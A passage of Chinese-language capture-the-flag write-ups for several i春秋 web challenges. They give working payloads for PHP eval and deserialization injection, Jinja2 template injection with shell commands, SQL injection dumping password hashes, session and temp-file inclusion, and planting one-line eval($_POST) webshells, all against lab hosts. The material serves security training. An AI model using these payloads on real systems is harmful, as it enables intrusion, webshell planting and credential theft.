执行php后得到反序化值:
                      
                      

                        
                        
得出序列化之后的文件base64编码: TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
序列化的payload:
Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
访问构造的反序化poc,可在页面获得f15g_1s_here.php的源码:
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
f15g_1s_here.php 源码:
<?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

?>
代码中要求我们以get的方式传递一个val参数,对这个参数进行添加反斜杠的过滤方式。addslashes()函数会对单引号,双引号,反斜杠,以及%0,添加反斜杠。
                         
                         
接下来就是利用上面的eval()函数来执行ls命令,列出靶机系统当前目录存在的文件,它将传进去的参数转义处理,然后执行,这里val是可控的,所以构造payload:
f15g_1s_here.php?val=${eval("echo 'ls' ;")}
访问页面显示是空白没有任何内容。
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval(%22echo%20%27ls%27%20;%22)}
                             
                             
但是addslashes对单引号,双引号,反斜杠进行了转义,所以只能用反引号(`)。而且反斜杠被转义了,使用不了引号嵌套。所以想到再利用一次get请求。payload如下:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;//注意最后的分号 
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`ls`;
                             
                             
得到一个True_F1ag_i3_Here_233.php 文件

进行通过cat查看True_F1ag_i3_Here_233.php内容,访问下面链接后,页面是空白的。
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`; 
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`cat%20True_F1ag_i3_Here_233.php`;
                         
                         
进行源码查看页面,发现包含了 flag的内容
view-source:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`cat%20True_F1ag_i3_Here_233.php`;
或者
下面是用一句话直接执行命令
f15g_1s_here.php?val=${eval($_POST[a]) }
http://1401d6806aac45b7a87007edcc4fdda7727d1bdd535a4e40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}
通过蚁剑连接一句话木马,并查看到flag内容
最终得到falg:
flag{b004328a-5f6e-4029-98e6-34eeadc00e7f}
题目名称:Look

题目内容:

我看的见你,你却看不见我。(非隐写)

tips:sql injection

tips2: mysql 字符集

题目writeup:
启动题目场景,获得靶场网站,访问网站,发现页面是空白。
访问主页,并通过bupsuit对其抓包,并发送请求,发现在http响应头中有特殊字符“x-HT:verify",告诉我们HT实际是hite的简称,隐藏了参数 verify
既然隐藏了 verify变量参数,那么我们构造get请求为 /?verify=1,并发送请求,在响应页面中显示“verify error!!"
GET /?verify=1
继续构造 /?verify=admin发送get请求,在响应页面显示“verify long!!”,说明verify变量存在注入
构造'or 1%23 显示 verify error,证明是过滤空格了
经过本地测试,发现 '*1%23 '%1%23 '=0# 都为真。

这里构造get请求/?verify='%1%23 ,发送请求,在响应页面显示“next page 5211ec9dde53ee65bb02225117fba1e1.php”告诉我们下一步是访问5211ec9dde53ee65bb02225117fba1e1.php页面。
get请求 5211ec9dde53ee65bb02225117fba1e1.php,发送请求,在响应页面显示hello,头部X-HT: viminfo,这可能告诉我们文件是vim被编辑过或者编辑后得到的隐藏文件。
这里使用 dirsearch.py对目标靶机进行扫描,发现扫描出.viminfo文件
 python3 dirsearch.py  -u  http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0
访问 .viminfo文件,得到 一个备份文件5211ec9dde53ee65bb02225117fba1e1.php.backup~~~ 以及它的物理路径
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/ .viminfo
这里访问 5211ec9dde53ee65bb02225117fba1e1.php.backup~~~ 文件,注意文件名后还有~~,而不是5211ec9dde53ee65bb02225117fba1e1.php.backup。得到5211ec9dde53ee65bb02225117fba1e1.php源码
5211ec9dde53ee65bb02225117fba1e1.php源码为:
<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
    $name = addslashes($_GET['usern3me']);//对输入转义
}
else{
    if(stripos($_GET['usern3me'],'Bctf2O16')!==false){ //不区分大小写寻找BCt2016 
        $name = 'FUCK';
    }
    else{
        $name = addslashes($_GET['usern3me']);
    }
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
    echo '<br>next ***.php';
}
?>
                        
                        
                         
                         
                          
                          
                           
                           其中第一个if判断远程IP只是一个幌子无法伪造
                           
                           
接着看程序逻辑,需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串
这里利用一个mysql的字符编码特性:
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写,
 Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
因此ç=c或者ô=o 
于是访问:
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=Bctf2O16
页面内容显示“heelo fuck"显然没有被绕过 
                          
                          
这里将Bctf2O16修改为Bçtf2O16
访问
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=B%C3%A7tf2O16
在页面中显示了c3368f5eb5f8367fd548b228bee69ef2.php内容,告诉我们下一步应该访问该文件 
                         
                         
访问c3368f5eb5f8367fd548b228bee69ef2.php文件,得到其源码
c3368f5eb5f8367fd548b228bee69ef2.php源码:

<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = "upload/".$_GET['filename'];
}
else{
    show_source(__FILE__);
    exit();
}
if(strpos($name,'..') > -1){ //从$name 寻找..  所以想通过../的方法去变量的不可行的

    echo 'WTF';
    exit();
}

if(strpos($path,'http://127.0.0.1/') === 0){ //$path 必须以http://127.0.0.1/ 开头
    file_put_contents($name,file_get_contents($path));  //这里是http协议就直接读出返回是数据,然后写入文件里面,我开始想的是php文件流去干事情,但是前面一关条件限制死了,如果没有前面那个条件,我觉得可以用php://input 来命令执行
}
else{
    echo 'path error';
}
?>

http://127.0.0.1/下的文件就是目标靶机网站下的文件
为了弄清怎么构造POC,于是就在本地做了一个测试,测试代码如下:
ttest .php
<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = $_GET['filename'];
}
file_put_contents($name,file_get_contents($path));
?>
test.php
<?php
$name=$_GET[1];
echo 'hello '.$name;
?>
我们在本地访问这个url:
http://127.0.0.1/ttest.php?filename=1234.php&path=test.php
这时候是把test.php文件的内容写到了1234.php里面:
如果path前面加上http://127.0.0.1, 写入的内容变成了hello。
这是为什么呢?如果我们不加http://127.0.0.1,我们相当于访问的是我们自己的文件系统,也就是直接访问到test.php的内容。
如果我们加上了http://127.0.0.1,访问得到的内容可以理解成curl这个链接得到的内容,也就是我们的响应头里的内容,应该是这个页面的源码:
因为上个页面的usern3me的内容是我们可控的, 因此,我们可以直接将一句话写入到 filename =后的文件中。POC为:
http://127.0.0.1/ttest.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[feng]);?> //这里空格需要用%2520分割
根据以上测试原理,本题我们可以构造为:
http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/c3368f5eb5f8367fd548b228bee69ef2.php?filename=bk.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[0]);?>
那么就将一句话写入到 bk.php中,通过c3368f5eb5f8367fd548b228bee69ef2.php上文源码分析,我们上传的文件保存到upload目录下
那么一句话的访问路径为:
通过蚁剑链接一句话
成功链接,得到flag的内容
最终flag为:
flag{480ebe9f-86c4-42d0-8427-3dc11d6cf1c7}
题目名称:Fuzz
题目内容:Can you?
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现页面显示内容“plz fuzz parameter”,告诉我们需要fuzz参数变量
通过抓包我们对其fuzz变量
GET /?§xxx§ HTTP/1.1
Host: 713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: name="{{ config['RUNCMD']('python /tmp/get.py'\054shell=True) }}"; __jsluid_h=6fb91d4763af41c45644fd191e7919be
Connection: close
fuzz出变量为name
那么构造参数变量访问:
访问robots.txt,发现是一条蛇,猜测是与python有关
测试该页面是否存在模板注入,输入 {{11-2}},发现页面内容显示计算出9,那么是存在pyhton的模板注入。
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{11-2}}
通过百度搜索发现该题存在jinja2代码执行漏洞:
方法一:
寻找可用引用类型(通过父类来找其中任意一个子类的引用列表),可以看到calss类为type file在列表40的位置
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{%27%27.__class__.__mro__[2].__subclasses__()}}
写入一个配置文件owned.cfg到tmp目录下,然后该配置文件可以启用RUNCMD 可执行命令功能
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config.from_pyfile('/tmp/owned.cfg') }}
查看系统ID
?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}
通过测试发现系统过滤了ls dir等命令,可通过$ {}来绕过执行查看/var/www/html/(apache默认的网站目录)目录下存在的文件
当前www目录下存在fl4g和x.py文件
查看flag内容
?name={{ config['RUNCMD']('a=c;b=at;c=fl;d=4g;$a$b /var/www/html/${c}${d}',shell=True) }}
方法二:
通过测试发现系统过滤了ls dir等命令,可通过$ {}来绕过执行查看/var/www/html/(apache默认的网站目录)目录下存在的文件
当前www目录下存在fl4g和x.py文件
这里将print open('/var/www/html/fl4g','r').read()读取flag的python代码进行base4编码写入到tmp/get.py
enbase64(print open('/var/www/html/fl4g','r').read()): cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==
{{ config['RUNCMD']('echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py',shell=True) }}
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config['RUNCMD']('echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py',shell=True) }}
http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config['RUNCMD']('python /tmp/get.py',shell=True) }}
最终得到flag:

flag{987cd50d-f6a7-4a26-9aaa-83a34ce81688}

题目名称:notebook
题目内容:文件包含phpinfo是不是有新的发现
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一个登陆页面,发现file参数是可控,看起来像文件包含漏洞
http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/action.php?module=php&file=login
构造文件包含读取pnpinfo文件内容,发现是空白的
按照正常流程走一遍,先注册一个账号test/test,成功登陆,登录后显示“欢迎,test,there is no flag”。
上文直接get请求包含phpinfo没有任何发现,现在登录系统,并对其抓包,将file参数值改为phpinfo进行发送,响应页面显示空白
尝试将module参数修改为空,再次发送请求,响应页面中出现"the phpinfo didn't exist'phpinfo文件不存在
尝试访问robots.txt,发现网站包含了php1nFo.php文件可访问。
http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/robots.txt
访问 php1nFo.php文件,访问得到php配置信息,在php配置信息中可以看到:
http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/php1nFo.php
open_basedir是可将用户访问文件的活动范围限制在指定的区域。注意用open_basedir指定的限制实际上是前缀,而不是目录名。
session.save_path就是session文件存在的位置。
举个例子:
若open_basedir =/dir/user,那么目录/dir/user和/dir/user1都是可以访问的。
所以如果要将访问限制在仅为指定的目录,可用斜线结束路径名。例如设置成: open_basedir =/dir/user/ 那么问题来了,我们只能控制/tmp目录,/var/lib/php5这个目录是包含不了的。
尝试将module参数修改为空,file参数设置为php1nFo.php进行文件包含请求,发现session.save_path路径变成了/tmp/SESS
session 的文件名格式为 sess_[PHPSESSID],而 sessionid 在发送的请求的 cookie 字段中PHPSESSID值也可以看到
因此session文件名为:sess_1q822v7v6alpragha75bs3a3c3
接下来对session的文件名进行文件包含读取
 /action.php?module=&file=../../../../tmp/SESS/sess_1q822v7v6alpragha75bs3a3c3 
在响应页面中,test用户名被显示,用户名是可控的。
接下来注册用户名为<?php system('ls'); ?>,登录后用户名 被显示。
再次对session的文件名进行文件包含读取,在响应页面中能读取到系统当前网站目录下存在flag.php文件
/action.php?module=&file=../../../../tmp/SESS/sess_1q822v7v6alpragha75bs3a3c3 
然后接着注册用户名<?php system('cat flag.php'); ?>,登录后用户名被显示。
最后,尝试读取flag,页面上并没有回显,查看源代码得到flag
/action.php?module=&file=../../../../tmp/SESS/sess_v6en5e2u91i4lupdt0tnpbhas4
post:
cmd=system('cat flag.php');
最终得到flag:
flag{02415d0d-5c5d-4daf-bec2-610e56e6dfa4}

题目名称:Blog

题目内容:请帮我测试一下刚写的Blog

题目writeup:
启动题目场景,获得靶场网站,访问网站,得到一个 Mini-Blog的欢迎页面
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/index.php
                          
                          
注册一个账号admin/admin,提示用户名或者密码错误
又尝试注册另一个账号test/test,发现可以注册,并登陆成功
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/user.php
证明靶机系统中是存在admin账号
尝试访问 robots.txt,发现系统隐藏包含了flag.php文件
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/robots.txt
访问flag.php文件,提示flag就在此文件中,这里我们需要想办法读取,如任意文件包含读取。
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/flag.php
登录系统,发现在后台的post模块出,存在kinEditor编辑器,且版本为4.1.10
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/post.php
通过百度搜索该编辑器版本的漏洞,发现存在目录遍历漏洞(https://www.jb51.net/hack/367946.html),详细利用方法如下:

访问url+/kindeditor/php/file_manager_json.php?path=/,得到网站物理路径

http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=/

继续目录遍历,/kindeditor/php/file_manager_json.php?path=../../,也发现系统存在flag.php文件。

http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=../../

首先我们测试后台文章编辑post 模块
这里我们先提交一个标题1,内容为1,并抓包,发送请求
http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/post.php
在页面上正常显示标题1,内容1
测试title变量是否存在注入漏洞
title参数输入: 1' and '1'='1
title=1' and '1'='1&content=1
页面显示1,1
title参数输入1' and '1'='2
title=1' and '1'='2&content=1
页面显示0,1
初步推测是个盲注,后面语句正确返回1,后面语句错误返回0
通过分析不难确定此处应是一条insert语句,用以保存用户所写入到数据库中,系统对这个位置过滤得比较严格, order by ,union select 等关键字语句都被过滤了。
猜想后台sql执行的语句:
INSERT INTO TABLENAME(A,B,C) VALUES($A,$B,$C);
我们能控制的变量应该有2到3个,分别是username,title和content
接下来就是比较难想的一个注入方法了,初步猜测这里主要有两个思路,因为insert语句本身不会有回显,而网站的报错都被屏蔽掉了,所以布尔盲注明显不能够成立,那么只有:
思路1: select '一句话' into oufile 'xxx.php' 通过数据库将一句话写入xxx.php,然后连webshell.
思路2: 虽然系统在insert 语句上做了过滤,且insert语句本身没有回显,但是写入的内容会显示在页面上。
由于防火墙的存在而不能够使用思路1,由此只能考虑思路2.
首先要猜测字段数,表面上看有username,title,content这三个字段,但不知道有没有其他字段
猜测insert语句的值类似于: INSERT INTO TABLENAME(A,B,C) VALUES('username','title','content')
先尝试三个字段,报错
title=1' and '1'='2&content=test')#
这里构造的insert语句类似于 INSERT INTO TABLENAME(A,B,C) VALUES ('test','1' and '1'='2','test')#') #用于注释
这个payload请求后响应页面报错了,说明猜测的insert字段有误,既然不是三个,更不可能是两个,受控制的部分已经有两个了,因此推测insert语句的字段数为4.
尝试四个字段,提交后,显示成功
title=1&content=test','X')#
这里构造的insert语句类似于INSERT INTO TABLENAME(A,B,C) VALUES('test','1','test','X')#') #用于注释
说明除了看到的两个字段外,还有一个未知的字段X
第四个未知字段可能是个固定值,我们给它赋值时insert语句是不会有回显的
所以我们尝试多条插入,再新建一条插入项,对第四个字段不做赋值,将SQL语句放到第二条插入项中。
最终目的是为了通过SQL查询得到admin账户的密码。

title=1&content=1','1'),('test',(database()),'2
继续查询表名,得到表名为posts和users
title=1&content=1','1'),('test',(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),'3
查询users 表中的列名,得到列名为usernmae和 password
title=1&content=1','1'),('test',(SELECT group_concat(column_name) from information_schema.columns where table_name='users'),'4
查询password列中字段内容,从而得到已经存在的admin账户的密码
title=1&content=1','1'),('test',(SELECT group_concat(password) from users),'5
得到所有用户名的密码MD5值:dbb616c5d935d8f34c12c291066d6fb7,098f6bcd4621d373cade4e832627b4f6
依次MD5解密得到 melody123,test
尝试admin/melody123,登陆成功
点击进入manager模块,发现?module=存在任意文件包漏洞
尝试文件包含读取flag.php,这里通过 php://filter/读取flag.php的base64
module=php://filter/read=convert.base64-encode/resource=../flag&name=php
http://2d0043aafe154f358160960da18dc204a86601ba8ec0451b.changame.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php
得到:PD9waHAgCidmbGFne2E0NjQ1MTRhLWRiMDctNGE2OC1iZTA3LTYzMDZkMWYzNmRkZX0nOwplY2hvICdmbGFnX2lzX2hlcmUnOwo=
解密base64得到:
<?php
'flag{a464514a-db07-4a68-be07-6306d1f36dde}';
echo 'flag_is_here';
最终flag:
flag{a464514a-db07-4a68-be07-6306d1f36dde}
题目名称:Blog进阶篇

题目内容:

Blog赛题是由melody设计的

十二月的百度杯挑战赛上线的是优化难度后的比赛

Blog·进阶篇 则是作者的原题,难度比挑战赛上线了几个梯度。

快来挑战吧!

题目writeup:

根据上题的思路,我们先注册一个test/test账号登录系统,然后再post 模块处,写入标题和内容,并抓包,然后对其进行SQL注入跑出系统用户的密码md5值
post:
title=1&content=1','1'),('test',(SELECT group_concat(password) from users),'5
得到用户密码的md5值:3177d917a0053c6161207e733c84356d,098f6bcd4621d373cade4e832627b4f6
分别对其进行MD5解密得到:19-10-1997,test
尝试admin/ 19-10-1997,成功登陆系统
http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=article_manage&name=php
尝试通过php伪协议文件 php://filter进行文件包含,发现是空白的
http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php
又尝试普通http协议包含robots.txt,可以正常读取其内容,这里注意name为text文件类型。
http://193c17a60b684acb9078bdf03d1daceba129d871f7ed45c6.changame.ichunqiu.com/blog_manage/manager.php?module=../robots.txt&name=text

发现php伪协议读取是不能用,php://filter已经失效,文件包含仍然能够执行,是可以被利用。
那么我们可以上传一个shell,用命令执行读取shell,上传点也不难找,这里利用的是一个 php对POST上传文件临时保存的特性:
php对post过来的文件有一个默认处理流程,即在一个处理周期内(post,response),首先将post过来的文件保存在/tmp文件夹下,文件名为php{0-9A-Za-z}的随机字符,
我们可以把shell写到这个随机文件名里,如果文件被php文件本身用到了,则php直接使用/tmp里的这个临时文件,如果没用到或者处理完毕了,则将/tmp下的这个临时文件删除。
也就是说,在正常处理流程下,tmp目录下的这个文件存活周期是一次请求到响应,响应过后,它就会被删除,因为kindeditor那里存在的目录遍历漏洞,导致我们可以查看tmp目录下的文件列表,
我们也可以对任一php文件post一个文件过去,使其暂存于tmp目录下,问题就在于,我们还没来得及包含这个文件,它就会在这次请求结束后被删除掉。
如何不让它被删除掉呢?删除和处理请求的都是php,所以我们要让php守护进程产生内存溢出,换言之,使之崩溃,而php自身是不会因为错误直接退出的,它会清空自己的内存堆栈,
以便从错误中恢复,这就保证了web服务的正常运转的同时,打断了php对临时文件的处理。
 自包含恰巧可以做到这一点,什么是自包含呢?
 即: /X.php?include=X.php
 这样X.php就会将它本身包含进来,而被包含进来的X.php再次尝试处理url的包含请求时,又将自己包含进来一遍,这就形成了无穷递归,递归会导致爆栈,
使php无法进行此次请求的后续处理,也就是删除/tmp目录中我们通过post强行上传的临时文件。
 整理下php对一个post文件请求的正常处理流程:
 1.manager.php接收一个Post请求,php在/tmp目录下创建我们post的文件
 2.manager.php处理请求url,包含一个文件
 3.manager.php进行文件处理
 4.php删除/tmp目录下的临时文件
于是我们本地构造一个payload,通过这个payload递送一个post请求包含一个文件的同时使manager.php自包含溢出崩溃:
<!DOCTYPE html>
<html>
<head lang="en">
  <meta charset="UTF-8">
  <title>上传文件</title>
</head>
<body>
<form action="http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=manager&name=php" method="post" enctype="multipart/form-data">
  <input type="file" name="file"/>
  <input type="submit" value="提交">
</form>
</body>
</html>
注意这里出现的两个manager.php,这里是防止利用文件包含写shell时生成的文件被删除,原理是自包含递归爆内存…简单地说,无穷自包含爆栈使其崩溃,从而影响他的文件删除功能.
用火狐浏览器打开,并用admin账号登录 ,然后上传一个随意文件,如test.txt
text.txt内容:
<?php
phpinfo();
?>
上传test.txt文件成功后,下图为自包含请求返回的效果。 (需要等待1分钟左右)
通过目录遍历漏洞,查看上传到tmp目录下的文件名
根据时间来看,我们上传的文件名为:php8ZCgvn
下面是任意文件包含/tmp目录下的 php8ZCgvn文件,可以看到内容可以被php执行。注意name的文件类型为phppass或者text,这里是绕过系统的检查
http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=../../../../../tmp/php8ZCgvn&name=phppass
尝试上传几个一句话webshell,但是都不能正常执行,发现phpinfo里已经用disable_functions禁用了大部分函数
仔细分析后,发现copy函数没有被禁用,且 /var/www/html目录被设置为了不可写,于是想到将flag.php利用copy函数copy成一个txt文件,那么就可以像robots.txt一样直接被包含读取
上传文件bk.txt:
<?php
copy("/var/www/html/flag.php","/tmp/flag.txt");
show_source("/tmp/flag.txt");
//注意要用到show_source函数显示源码,否则会被解析,从下面也可以看到,flag的内容是在注释当中的
?>
这里上传bk.txt
成功上传文件
通过目录遍历漏洞,查看上传到tmp目录下的文件名
http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com//kindeditor/php/file_manager_json.php?path=../../../../../tmp/
得到上传的文件名:phphdj6P4
上传上述文件后用manager.php进行文件包含,即可在/tmp目录下看到flag.txt的内容:
http://a12e072c06b741b289901d33abd43de6f42904cf42ad4814.changame.ichunqiu.com/blog_manage/manager.php?module=../../../../../tmp/phphdj6P4&name=phppass
最终flag:
flag{f4025949-153b-47d9-b9fa-febd16a4ad34}
题目名称:时间

题目内容:

时间是宝贵的。(i春秋waf可能会ban请求过快的玩家,请自行解决)

题目writeup:
PHP源码为:
<?php 
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__); // show_source() :函数对文件进行语法高亮显示
if ($_COOKIE['token']=='hello'){ // 取COOKIE里面token的值 如果等于 hello,就执行下面的代码
  $txt = file_get_contents('flag.php'); // file_get_contents() 函数把’flag.php‘文件读入到$txt变量中
  $filename = 'u/'.md5(mt_rand(1,1000)).'.txt'; // mt_rand()是取随机数的,与rand()区别是比rand()快4倍,而且如果mt_rand(1,10)的话1和10都会取得到的
// 通过md5对mt_rand取值的加密然后通过拼接'u/'和'.txt'得到文件的名字存入到$filename中
  file_put_contents($filename,$txt); // file_put_contents() 函数把$txt存的内容写入到$filename的文件中取
  sleep(10); // 休眠10秒
  unlink($filename); // unlink() 函数删除文件
}

说明我们访问这个网站的时候,在网站目录里面会随机生成一个文件包含flag.php的内容,但是我们只有10秒的时间取访问它,10秒过后会自动删除。

所有我们来跑目录,这里我们需要把所有会出现的文件名的可能性都列出来当成字典来跑.

MD5加密python脚本:

hash = hashlib.md5()

hash.update('加密的文本'.encode('utf-8'))

print(hash.hexdigest())

参考:https://www.cnblogs.com/wang-yc/p/5616663.html

下面使用python脚本生成随机名的字典:

import hashlib

import requests

file = open("data.txt",'w+')

for i in range(1,1001):

  m = hashlib.md5()

  m.update(str(i).encode())

  mid = m.hexdigest()

  url = 'u/'+mid+'.txt'

  file.write(url+'\n')

file.close()

生成的字典如下:
先刷新下网页,然后通过御剑对网站的URL链接进行FUZZ,注意网址后面需要加/,线程最好是30,,扫描出来的链接地址并打开网页,总共需要的时间在10秒内需要完成。
注意:若超过十秒 即使已经扫描到了也会访问不到 因为文件已经被删除
最终flag:
flag{a157eb5d-aa59-43b0-95ae-4994a1794749}

题目名称:象棋

题目内容:开心的玩游戏吧

题目witeup:

启动题目场景,获得靶场网站,访问网站,发现是一场象棋游戏

对其查看源代码,发现 js/[abcmlyx]{2}ctf[0-9]{3}.js是有问题,该文件名是正则表达式
打开该文件,发现无法访问,初步判断该js文件含有flag相关的提示。可以看到题目给出的js文件名并不正确,给出的应该是包含正确文件名的正则表达式。开头两个字符由“abcmlyx”中选择,之后接“ctf",然后是3位数字+”.js

那么爆破出正确文件名,js文件内容即为flag

!/usr/bin/python
# coding=utf-8
# Author=haya
import urllib2
from multiprocessing.dummy import Pool as ThreadPool
urllist = []
re1 = 'myx'
re2 = '012346789'
url = 'http://d0fdd193e2fa40ab9287e6c40341ef4fc310ea9b723f4b84.game.ichunqiu.com/js/'
pool = ThreadPool()
def url_list():
    for i in re1:
        for j in re1:
            for k in re2:
                for l in re2:
                    for m in re2:
                        urllist.append(url+i+j+'ctf'+k+l+m+'.js')
    return urllist

def url_open(url):
        try:
            result = urllib2.urlopen(url).read()
            if '404' not in result:
                print url+result
        except:
            pass


def main():
    urllist = url_list()
    pool.map(url_open, urllist)
    pool.close()
    pool.join()

if __name__ == '__main__':
    main()
或者
通过python脚本生成JS字典
key1 = "abcmlyx"

key2 = "0123456789"

file = open("url.txt", "w+")

for a in key1:

for b in key1:

for c in key2:

for d in key2:

for e in key2:
url = "/js/" + a + b + "ctf" + str(c) + str(d) + str(e) + ".js" + "\n"

file.write(url)
通过御剑目录扫描工具对其JS字典进行爆破
访问JS文件最终得到flag内容
http://96e86ebf651e46c3995caf7ee93dda4e5b2b46738063401f.changame.ichunqiu.com/js/myctf801.js
最终flag:
flag{1f330869-02c0-41ca-94ff-3276a5efae04}
题目名称:爆破-2
题目内容:flag不在变量中
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现一段PHP代码
http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/
PHP代码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

var_dump()会返回数据变量的类型和值

eval()会把字符串当作php代码

方法一:通过 file_get_contents()函数读取
由第一步可知,flag不在变量中
猜测flag在文件中,使用file_get_contents() 函数,其作用为把整个flag.php文件读入一个字符串中.
查看源代码发现flag
view-source:http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=file_get_contents(%27flag.php%27)
方法二:通过file()函数读取 题目内容显示flag不在变量中,可以推测flag在文件中,使用file函数进行文件包含 ?hello=file("flag.php"),获得flag.php的内容.
http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=file(%22flag.php%22)
file() 函数把整个文件读入一个数组中,并 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。

方法三:通过show_source()函数读取

?hello=1);show_source('flag.php');var_dump( eval语句变成:eval("var_dump(1);show_source(%27flag.php%27);var_dump();") show_source() 函数对文件进行语法高亮显示。本函数是 highlight_file() 的别名。

